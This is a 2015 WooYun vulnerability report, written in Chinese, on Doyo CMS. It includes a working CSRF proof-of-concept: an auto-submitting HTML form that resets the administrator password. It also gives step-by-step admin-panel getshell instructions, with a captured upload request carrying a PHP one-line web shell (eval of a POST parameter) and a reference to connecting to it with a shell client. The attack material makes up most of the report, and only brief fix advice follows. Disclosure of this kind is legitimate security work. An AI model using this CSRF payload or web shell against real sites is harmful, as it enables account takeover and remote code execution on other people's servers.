当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101151

漏洞标题:Doyo建站最新版本存在CSRF越权修改管理员密码(赠送后台getshell漏洞)

相关厂商:wdoyo.com

漏洞作者: 泳少

提交时间:2015-03-23 10:37

修复时间:2015-06-26 10:39

公开时间:2015-06-26 10:39

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-23: 细节已通知厂商并且等待厂商处理中
2015-03-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-22: 细节向核心白帽子及相关领域专家公开
2015-06-01: 细节向普通白帽子公开
2015-06-11: 细节向实习白帽子公开
2015-06-26: 细节向公众公开

简要描述:

Doyo建站最新版本存在CSRF越权修改管理员密码(赠送后台getshell漏洞)

详细说明:

我们在后台

2.png

看见修改资料,能够在不知道管理员密码的情况下直接修改
那么我们抓下包看看

1.png


POST /doyo/admin.php?c=a_adminuser&a=edituser&run=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/doyo/admin.php?c=a_adminuser&a=edituser
Cookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; hd_sid=evILzk; AJSTAT_ok_times=1; tp_sid=6f35b5130ed53007; CNZZDATA1702264=cnzz_eid%3D544880126-1426140871-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1426140871; PHPSESSID=eisqmk9g8iv1a4cqnv5oggm2h4; _currentUrl_=czo0OToiL3l1ZnVjbXMvYWRtaW4vaW5kZXgucGhwP209cGhvdG8mYT1pbmRleCZjYXRpZD00NCI7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
auid=1&auser=admin&apass=123456&level=1&gid=1&aname=&amail=&atel=


auser(用户名)+apass(密码)还没有加密这个不靠谱啊。那么我们就直接来越权修改咯。
下面提供下我构造的POC

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "62" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/doyo/admin.php?c=a_adminuser&a=edituser&run=1">
<input type="hidden" name="auid" value="1"/>
<input type="hidden" name="auser" value="admin"/>
<input type="hidden" name="apass" value="admin"/>
<input type="hidden" name="level" value="1"/>
<input type="hidden" name="gid" value="1"/>
<input type="hidden" name="aname" value="真实姓名"/>
<input type="hidden" name="amail" value="邮箱"/>
<input type="hidden" name="atel" value="电话"/>
</form>
</body>
</html>


打开后…………

3.png

漏洞证明:

那么我们用admin密码登陆下看看

4.png


5.png


下面讲下如何在后台getshell。
审计了下代码:文件路径——DOYO\source\admin\a_article.php

function add(){
$this->itid=$this->syArgs('tid');
if ($this->syArgs('run')==1){
if(!$this->auser->checkclass($this->newrow1['tid'])){message_a("无权操作本栏目内容");}
$newVerifier=$this->ClassADD->syVerifier($this->newrow1);
if(false == $newVerifier){
$addnewrow1=$this->ClassADD->create($this->newrow1);
if($addnewrow1==FALSE){message_a("主表数据写入失败,请重新提交");}
$arrays = array(
'aid' => $addnewrow1,
);
if($this->syArgs('all_down_images')==1){
$upall=syClass('syupload');
$bodynew=stripslashes($this->newrow2['body']);
preg_match_all('/<img.*?src=(.*?(\.jpg|\.gif|\.png|\.jpeg)(\'|\"|\s|>)).*?/si',$bodynew,$pic);
$pic=array_unique($pic[1]);
foreach($pic as $v){
$v=str_replace(array('"',"'",'>'),'',trim($v));
if($v){
$localUrl=$upall->saveRemoteImg(trim($v));
if($localUrl){$bodynew=str_ireplace($v,$GLOBALS['WWW'].$localUrl,$bodynew);}
}
}
$arrays=array_merge($arrays,array('body'=>addslashes($bodynew)));
}
$this->newrow2=array_merge($this->newrow2,$arrays);
syDB($this->molds.'_field')->runSql('set interactive_timeout=24*3600');
if(syDB($this->molds.'_field')->create($this->newrow2)){
if($GLOBALS['G_DY']['rewrite']["rewrite_open"]!=1&&syExt('site_html')==1&&$this->newrow1['isshow']==1&&$this->newrow1['mrank']==0&&$this->newrow1['mgold']==0){
$c_html_f=html_rules($this->molds,$this->newrow1['tid'],$this->newrow1['addtime'],$addnewrow1,$this->newrow1['htmlfile']);
syDB($this->molds)->updateField(array('id'=>$addnewrow1),'htmlurl',$c_html_f);
$this->chtml->c_molds('article',array('id'=>$addnewrow1),$c_html_f);
$body=array_filter(explode("[doyo|page]",$this->newrow2['body']));
$allb=count($body);
if($allb>1){
for ($i = 1; $i <= $allb; $i++) {
if($i>1){
$this->chtml->c_molds('article',array('id'=>$addnewrow1,'page'=>$i),str_replace('.',$i.'.',$c_html_f));
}
}
}
}
deleteDir($GLOBALS['G_DY']['sp_cache']);
message_a($this->moldname.'添加成功','?c=a_'.$this->molds,'<a href="?c=a_'.$this->molds.'">返回列表</a><a href="?c=a_'.$this->molds.'&a=add&tid='.$this->newrow1['tid'].'">继续添加</a>',"8");
}else{
syDB($this->molds)->delete(array('id'=>$addnewrow1));
message_a("附表数据写入失败,请重新提交");
}
}else{message_b($newVerifier);}
}


看见preg_match_all这里好像有点问题。然后我们就在后台看看……

1.png

在后台可见这里能够修改成php
然后在

2.png

然后在内容管理里面添加文章。上传图片的时候…………上传个小马

3.png


POST /doyo/admin.php?c=uploads&tid=&isfiles=editor_KindEditor&dir=image HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/doyo/admin.php?c=a_article&a=add
Cookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; hd_sid=evILzk; AJSTAT_ok_times=1; tp_sid=6f35b5130ed53007; CNZZDATA1702264=cnzz_eid%3D544880126-1426140871-http%253A%252F%252F127.0.0.1%252F%26ntime%3D1426140871; _currentUrl_=czo0OToiL3l1ZnVjbXMvYWRtaW4vaW5kZXgucGhwP209cGhvdG8mYT1pbmRleCZjYXRpZD00NCI7; PHPSESSID=s57v8jh3517br90f7oq6gmcb84
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------323081709223130
Content-Length: 344
-----------------------------323081709223130
Content-Disposition: form-data; name="localUrl"
1.php
-----------------------------323081709223130
Content-Disposition: form-data; name="editor_KindEditor"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_POST[xiao])?>
-----------------------------323081709223130--


4.png

用菜刀连接下

5.png

修复方案:

第一个CSRF的修复方案:加强token验证。完了还要把密文加密
第二个getshell问题:需要把php、ASP什么危险的文件后缀进行禁止

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-26 10:39

厂商回复:

最新状态:

暂无